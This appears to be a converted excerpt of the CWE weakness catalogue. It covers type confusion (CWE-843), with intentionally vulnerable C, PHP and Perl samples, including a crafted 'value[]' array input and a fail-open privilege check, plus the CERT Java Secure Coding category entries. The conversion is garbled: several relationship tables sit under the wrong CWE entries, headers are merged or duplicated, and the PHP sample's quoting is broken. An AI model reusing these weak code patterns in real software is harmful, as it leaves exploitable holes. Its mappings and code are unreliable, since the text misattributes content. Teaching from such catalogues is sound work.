<td>Operating system assigns user to privileged wheel group, allowing the user to gain root privileges.</td>
</tr>
<tr>
<td>CVE-2002-0080</td>
<td>Chain: daemon does not properly clear groups before dropping privileges.</td>
</tr>
<tr>
<td>CVE-2007-3260</td>
<td>Product assigns members to the root group, allowing escalation of privileges.</td>
</tr>
<tr>
<td>CVE-2007-6644</td>
<td>CMS does not prevent remote administrators from promoting other users to the administrator group, in violation of the intended security model.</td>
</tr>
<tr>
<td>CVE-2008-5397</td>
<td>Chain: improper processing of configuration options causes users to contain unintended group memberships.</td>
</tr>
<tr>
<td>CVE-2010-3716</td>
<td>Chain: drafted web request allows the creation of users with arbitrary group membership.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>286</td>
<td>Incorrect User Management</td>
</tr>
</tbody>
</table>

---

**CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')**

**Weakness ID: 843 (Weakness Base)**

**Status: Incomplete**

**Description**

**Summary**

The program allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

**Extended Description**

When the program accesses the resource using an incompatible type, this could trigger logical errors because the resource does not have expected properties. In languages without memory safety, such as C and C++, type confusion can lead to out-of-bounds memory access.

While this weakness is frequently associated with unions when parsing data with many different embedded object types in C, it can be present in any application that can interpret the same variable or memory location in multiple ways.

This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.

**Alternate Terms**

Object Type Confusion

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
CWE Version 2.11

CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')

- C
- C++
- Language-independent
- Type-unsafe Languages

Demonstrative Examples

Example 1:
The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

**C Example:**
```c
#define NAME_TYPE 1
#define ID_TYPE 2
struct MessageBuffer
{
    int msgType;
    union {
        char *name;
        int nameID;
    };
};
int main (int argc, char **argv)
{
    struct MessageBuffer buf;
    char *defaultMessage = "Hello World";
    buf.msgType = NAME_TYPE;
    buf.name = defaultMessage;
    printf("Pointer of buf.name is %p\n", buf.name);
    /* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it
    could be any value. */
    buf.nameID = (int)(defaultMessage + 1);
    printf("Pointer of buf.name is now %p\n", buf.name);
    if (buf.msgType == NAME_TYPE) {
        printf("Message: %s\n", buf.name);
    } else {
        printf("Message: Use ID %d\n", buf.nameID);
    }
}
```
The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation. As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:
- Pointer of name is 10830
- Pointer of name is now 10831
- Message: ello World

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.

In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

Example 2:
The following PHP code accepts a value, adds 5, and prints the sum.

**PHP Example:**
```php
$value = $_GET['value'];
$sum = $value + 5;
echo "value parameter is \$value\'<p';
echo "SUM is \$sum";
```

When called with the following query string:
value=123
the program calculates the sum and prints out:
SUM is 128
However, the attacker could supply a query string such as:
value[]=123
The "[]" array syntax causes $value to be treated as an array type, which then generates a fatal error when calculating $sum:
Fatal error: Unsupported operand types in program.php on line 2

Example 3:
The following Perl code is intended to look up the privileges for user ID's between 0 and 3, by performing an access of the $UserPrivilegeArray reference. It is expected that only userID 3 is an admin (since this is listed in the third element of the array).

Perl Example:

```perl
my $UserPrivilegeArray = ["user", "user", "admin", "user"]; my $userID = get_current_user_ID();
if ($UserPrivilegeArray eq "user") {
    print "Regular user!\n";
} else {
    print "Admin!\n";
}
print "$UserPrivilegeArray = $UserPrivilegeArray\n";
```

In this case, the programmer intended to use "$UserPrivilegeArray->{$userID}" to access the proper position in the array. But because the subscript was omitted, the "user" string was compared to the scalar representation of the $UserPrivilegeArray reference, which might be of the form "ARRAY(0x229e8)" or similar.
Since the logic also "fails open" (CWE-636), the result of this bug is that all users are assigned administrator privileges.

While this is a forced example, it demonstrates how type confusion can have security consequences, even in memory-safe languages.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2010-0258</td>
<td>Improperly-parsed file containing records of different types leads to code execution when a memory location is interpreted as a different object than intended.</td>
</tr>
<tr>
<td>CVE-2010-4577</td>
<td>Type confusion in CSS sequence leads to out-of-bounds read.</td>
</tr>
<tr>
<td>CVE-2011-0611</td>
<td>Size inconsistency allows code execution, first discovered when it was actively exploited in-the-wild.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
</tr>
</tbody>
</table>

Research Gaps

Type confusion weaknesses have received some attention by applied researchers and major software vendors for C and C++ code. Some publicly-reported vulnerabilities probably have type confusion as a root-cause weakness, but these may be described as "memory corruption" instead. This weakness seems likely to gain prominence in upcoming years.

For other languages, there are very few public reports of type confusion weaknesses. These are probably under-studied. Since many programs rely directly or indirectly on loose typing, a potential "type confusion" behavior might be intentional, possibly requiring more manual analysis.

References


CWE-844: Weaknesses Addressed by the CERT Java Secure Coding Standard

View ID: 844 (View: Graph)

Objective
CWE entries in this view (graph) are fully or partially eliminated by following the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this view is incomplete.

View Data

<table>
<thead>
<tr>
<th>View Metrics</th>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total Views</td>
<td>124</td>
<td>1006</td>
</tr>
<tr>
<td>Categories</td>
<td>0</td>
<td>33</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>18</td>
<td>720</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>0</td>
<td>8</td>
</tr>
</tbody>
</table>

View Audience

Developers
By following the CERT Java Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Software Customers
If a software developer claims to be following the CERT Java Secure Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators
Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td>C</td>
<td>845</td>
<td>CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>846</td>
<td>CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>847</td>
<td>CERT Java Secure Coding Section 02 - Expressions (EXP)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>848</td>
<td>CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>849</td>
<td>CERT Java Secure Coding Section 04 - Object Orientation (OBJ)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>850</td>
<td>CERT Java Secure Coding Section 05 - Methods (MET)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>851</td>
<td>CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>852</td>
<td>CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>853</td>
<td>CERT Java Secure Coding Section 08 - Locking (LCK)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>854</td>
<td>CERT Java Secure Coding Section 09 - Thread APIs (THI)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>855</td>
<td>CERT Java Secure Coding Section 10 - Thread Pools (TPS)</td>
<td>844</td>
</tr>
</tbody>
</table>
### CWE-845: CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)

**Category ID:** 845  
**Status:** Incomplete

**Description**
Weaknesses in this category are related to rules in the Input Validation and Data Sanitization section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td>C</td>
<td>856</td>
<td>CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>858</td>
<td>CERT Java Secure Coding Section 13 - Serialization (SER)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>859</td>
<td>CERT Java Secure Coding Section 14 - Platform Security (SEC)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>860</td>
<td>CERT Java Secure Coding Section 15 - Runtime Environment (ENV)</td>
<td>844</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>861</td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>844</td>
</tr>
</tbody>
</table>

**Relationship Notes**
The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

**References**
"The CERT Oracle Secure Coding Standard for Java". <https://www.securecoding.cert.org/confluence/display/java/The+CERT+Oracle+Secure+Coding+Standard+for+Java>

---

### CWE-846: CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL)

---
CWE-847: CERT Java Secure Coding Section 02 - Expressions (EXP)

Category ID: 847 (Category)  Status: Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Expressions (EXP) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>⚥</td>
<td>252</td>
<td>Unchecked Return Value</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>⚥</td>
<td>479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>⚥</td>
<td>595</td>
<td>Comparison of Object References Instead of Object Contents</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>⚥</td>
<td>597</td>
<td>Use of Wrong Operator in String Comparison</td>
<td>844</td>
</tr>
<tr>
<td>MemberOf</td>
<td>⚥</td>
<td>844</td>
<td>Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
<td>844</td>
</tr>
</tbody>
</table>

References

CERT. "02. Expressions (EXP)". <https://www.securecoding.cert.org/confluence/display/java/02.+Expressions+%28EXP%29>.
CWE-849: CERT Java Secure Coding Section 04 - Object Orientation (OBJ)

**Category ID:** 849 (Category)  **Status:** Incomplete

**Description**

**Summary**

Weaknesses in this category are related to rules in the Object Orientation (OBJ) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>374</td>
<td>Passing Mutable Objects to an Untrusted Method</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>375</td>
<td>Returning a Mutable Object to an Untrusted Caller</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>486</td>
<td>Comparison of Classes by Name</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>491</td>
<td>Public cloneable() Method Without Final ('Object Hijack')</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>492</td>
<td>Use of Inner Class Containing Sensitive Data</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>493</td>
<td>Critical Public Variable Without Final Modifier</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>498</td>
<td>Cloneable Class Containing Sensitive Information</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>500</td>
<td>Public Static Field Not Marked Final</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>582</td>
<td>Array Declared Public, Final, and Static</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>766</td>
<td>Critical Variable Declared Public</td>
<td>844</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>844</td>
<td>Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
<td>844</td>
</tr>
</tbody>
</table>

**References**


CWE-850: CERT Java Secure Coding Section 05 - Methods (MET)

**Category ID:** 850 (Category)  **Status:** Incomplete

**Description**

**Summary**

Weaknesses in this category are related to rules in the Methods (MET) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>487</td>
<td>Reliance on Package-level Scope</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>568</td>
<td>finalize() Method Without super.finalize()</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>581</td>
<td>Object Model Violation: Just One of Equals and Hashcode Defined</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>583</td>
<td>finalize() Method Declared Public</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>586</td>
<td>Explicit Call to finalize()</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>589</td>
<td>Call to Non-ubiquitous API</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>617</td>
<td>Reachable Assertion</td>
<td>844</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>844</td>
<td>Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
<td>844</td>
</tr>
</tbody>
</table>

**References**

CERT. "05. Methods (MET)". <https://www.securecoding.cert.org/confluence/display/java/05.+Methods+%28MET%29>.

**CWE-851: CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)**

<table>
<thead>
<tr>
<th>Category ID: 851 (Category)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
<tr>
<td>Weaknesses in this category are related to rules in the Exceptional Behavior (ERR) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</td>
<td></td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>844  397</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>230</td>
<td>Improper Handling of Missing Values</td>
<td>844  422</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>232</td>
<td>Improper Handling of Undefined Values</td>
<td>844  424</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>248</td>
<td>Uncaught Exception</td>
<td>844  439</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>382</td>
<td>J2EE Bad Practices: Use of System.exit()</td>
<td>844  662</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>390</td>
<td>Detection of Error Condition Without Action</td>
<td>844  673</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>395</td>
<td>Use of NullPointerException Catch to Detect NULL Pointer Dereference</td>
<td>844  681</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
<td>844  684</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>460</td>
<td>Improper Cleanup on Thrown Exception</td>
<td>844  779</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>497</td>
<td>Exposure of System Data to an Unauthorized Control Sphere</td>
<td>844  842</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>584</td>
<td>Return Inside Finally Block</td>
<td>844  926</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>600</td>
<td>Uncaught Exception in Servlet</td>
<td>844  943</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>690</td>
<td>Unchecked Return Value to NULL Pointer Dereference</td>
<td>844 1073</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>844 1105</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
<td>844 1108</td>
</tr>
<tr>
<td>MemberOf</td>
<td>🍃</td>
<td>844</td>
<td>Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
<td>844 1294</td>
</tr>
</tbody>
</table>

**References**

CERT. "06. Exceptional Behavior (ERR)". <https://www.securecoding.cert.org/confluence/display/java/06.+Exceptional+Behavior+%28ERR%29>.

**CWE-852: CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)**

<table>
<thead>
<tr>
<th>Category ID: 852 (Category)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
<tr>
<td>Weaknesses in this category are related to rules in the Visibility and Atomicity (VNA) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.</td>
<td></td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization (‘Race Condition’)</td>
<td>844  628</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>366</td>
<td>Race Condition within a Thread</td>
<td>844  641</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>413</td>
<td>Improper Resource Locking</td>
<td>844  714</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>567</td>
<td>Unsynchronized Access to Shared Data in a Multithreaded Context</td>
<td>844  906</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🍃</td>
<td>662</td>
<td>Improper Synchronization</td>
<td>844 1026</td>
</tr>
</tbody>
</table>
CWE-853: CERT Java Secure Coding Section 08 - Locking (LCK)

Category ID: 853 (Category)  Status: Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Locking (LCK) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>667</td>
<td>Improper Locking</td>
<td>844</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☑</td>
<td>844</td>
<td>Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
<td>844</td>
</tr>
</tbody>
</table>

References


CWE-854: CERT Java Secure Coding Section 09 - Thread APIs (THI)

Category ID: 854 (Category)  Status: Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Thread APIs (THI) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>572</td>
<td>Call to Thread run() instead of start()</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
<td>844</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☑</td>
<td>844</td>
<td>Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
<td>844</td>
</tr>
</tbody>
</table>

References

CERT. "09. Thread APIs (THI)". <https://www.securecoding.cert.org/confluence/display/java/09.+Thread+APIs+%28THI%29>.

CWE-855: CERT Java Secure Coding Section 10 - Thread Pools (TPS)
CWE Version 2.11
CWE-856: CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM)

Category ID: 855 (Category)  Status: Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Thread Pools (TPS) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>392</td>
<td>Missing Report of Error Condition</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>405</td>
<td>Asymmetric Resource Consumption (Amplification)</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>410</td>
<td>Insufficient Resource Pool</td>
<td>844</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>844</td>
<td>Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
<td>844</td>
</tr>
</tbody>
</table>

References


CWE-856: CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM)

Category ID: 856 (Category)  Status: Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Thread-Safety Miscellaneous (TSM) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td></td>
<td>844</td>
<td>Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
<td>844</td>
</tr>
</tbody>
</table>

References

CWE-857: CERT Java Secure Coding Section 12 - Input Output (FIO)

Category ID: 857 (Category)  Status: Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Input Output (FIO) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>67</td>
<td>Improper Handling of Windows Device Names</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>135</td>
<td>Incorrect Calculation of Multi-Byte String Length</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>198</td>
<td>Use of Incorrect Byte Ordering</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>276</td>
<td>Incorrect Default Permissions</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>279</td>
<td>Incorrect Execution-Assigned Permissions</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>359</td>
<td>Exposure of Private Information ('Privacy Violation')</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>377</td>
<td>Insecure Temporary File</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td>844</td>
</tr>
</tbody>
</table>
CWE-858: CERT Java Secure Coding Section 13 - Serialization (SER)

**Description**

Weaknesses in this category are related to rules in the Serialization (SER) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>405</td>
<td>Asymmetric Resource Consumption (Amplification)</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>459</td>
<td>Incomplete Cleanup</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>532</td>
<td>Information Exposure Through Log Files</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>533</td>
<td>Information Exposure Through Server Log Files</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>542</td>
<td>Information Exposure Through Cleanup Log Files</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>770</td>
<td>Allocation of Resources Without Limits or Throttling</td>
<td>844</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>844</td>
<td>Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
<td>844</td>
</tr>
</tbody>
</table>

References


CWE-859: CERT Java Secure Coding Section 14 - Platform Security (SEC)

**Description**

Weaknesses in this category are related to rules in the Platform Security (SEC) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>111</td>
<td>Direct Use of Unsafe JNI</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>266</td>
<td>Incorrect Privilege Assignment</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>272</td>
<td>Least Privilege Violation</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>300</td>
<td>Channel Accessible by Non-Endpoint ('Man-in-the-Middle')</td>
<td>844</td>
</tr>
</tbody>
</table>

References

CWE Version 2.11
CWE-860: CERT Java Secure Coding Section 15 - Runtime Environment (ENV)

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>302</td>
<td>Authentication Bypass by Assumed-Immutable Data</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>319</td>
<td>Cleartext Transmission of Sensitive Information</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>347</td>
<td>Improper Verification of Cryptographic Signature</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>494</td>
<td>Download of Code Without Integrity Check</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>844</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
<td>844</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☑</td>
<td>844</td>
<td>Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
<td>844</td>
</tr>
</tbody>
</table>

References

CWE-860: CERT Java Secure Coding Section 15 - Runtime Environment (ENV)

Category ID: 860 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to rules in the Runtime Environment (ENV) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>349</td>
